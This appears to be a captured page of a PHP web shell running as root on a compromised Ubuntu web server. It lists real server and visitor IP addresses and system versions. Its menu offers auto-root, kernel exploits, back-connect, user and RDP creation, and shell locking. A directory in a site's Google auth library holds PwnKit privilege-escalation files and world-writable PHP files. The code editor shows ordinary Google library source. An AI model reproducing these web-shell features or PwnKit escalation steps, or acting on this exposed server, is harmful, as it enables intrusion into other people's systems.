Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
google /
auth /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
Google_AssertionCredentials.ph...
2.78
KB
-rwxrwxrwx
Google_Auth.php
1.21
KB
-rwxrwxrwx
Google_AuthNone.php
1.63
KB
-rwxrwxrwx
Google_LoginTicket.php
1.77
KB
-rwxrwxrwx
Google_OAuth2.php
14.21
KB
-rwxrwxrwx
Google_P12Signer.php
2.24
KB
-rwxrwxrwx
Google_PemVerifier.php
1.88
KB
-rwxrwxrwx
Google_Signer.php
849
B
-rwxrwxrwx
Google_Verifier.php
910
B
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Google_PemVerifier.php
<?php /* * Copyright 2011 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ /** * Verifies signatures using PEM encoded certificates. * * @author Brian Eaton <beaton@google.com> */ class Google_PemVerifier extends Google_Verifier { private $publicKey; /** * Constructs a verifier from the supplied PEM-encoded certificate. * * $pem: a PEM encoded certificate (not a file). * @param $pem * @throws Google_AuthException * @throws Google_Exception */ function __construct($pem) { if (!function_exists('openssl_x509_read')) { throw new Google_Exception('Google API PHP client needs the openssl PHP extension'); } $this->publicKey = openssl_x509_read($pem); if (!$this->publicKey) { throw new Google_AuthException("Unable to parse PEM: $pem"); } } function __destruct() { if ($this->publicKey) { openssl_x509_free($this->publicKey); } } /** * Verifies the signature on data. * * Returns true if the signature is valid, false otherwise. * @param $data * @param $signature * @throws Google_AuthException * @return bool */ function verify($data, $signature) { $status = openssl_verify($data, $signature, $this->publicKey, "sha256"); if ($status === -1) { throw new Google_AuthException('Signature verification error: ' . openssl_error_string()); } return $status === 1; } }
Close